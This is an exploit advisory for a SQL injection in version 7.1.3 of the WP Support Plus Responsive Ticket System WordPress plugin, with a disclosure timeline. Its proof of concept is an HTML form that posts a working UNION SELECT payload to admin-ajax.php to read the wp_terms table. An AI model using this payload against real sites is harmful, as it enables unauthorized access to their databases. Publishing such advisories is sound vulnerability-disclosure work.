WordPress Support Plus Responsive Ticket System 7.1.3 SQL Injection

`# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 a WordPress Plugin a Sql Injection  
# Exploit Author: Lenon Leite  
# Vendor Homepage: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/  
  
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/  
# Contact: http://twitter.com/lenonleite  
# Website: http://lenonleite.com.br/  
# Category: webapps  
# Version: 7.1.3  
# Tested on: Ubuntu 14.04  
  
1 - Description:  
  
Type user access: any user. $_POST[acat_ida] is not escaped. Is accessible for any user.  
  
http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/  
  
2 - Proof of Concept:  
  
<form action="http://target/wp-admin/admin-ajax.php" method="post">  
<input type="text" name="action" value="wpsp_getCatName">  
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">  
<input type="submit" name="">  
</form>  
  
3 - Timeline:  
  
  
- 12/12/2016 a Discovered  
- 13/12/2016 a Vendor notifed  
- 16/12/2016 a Resolve issue version 7.1.5  
  
`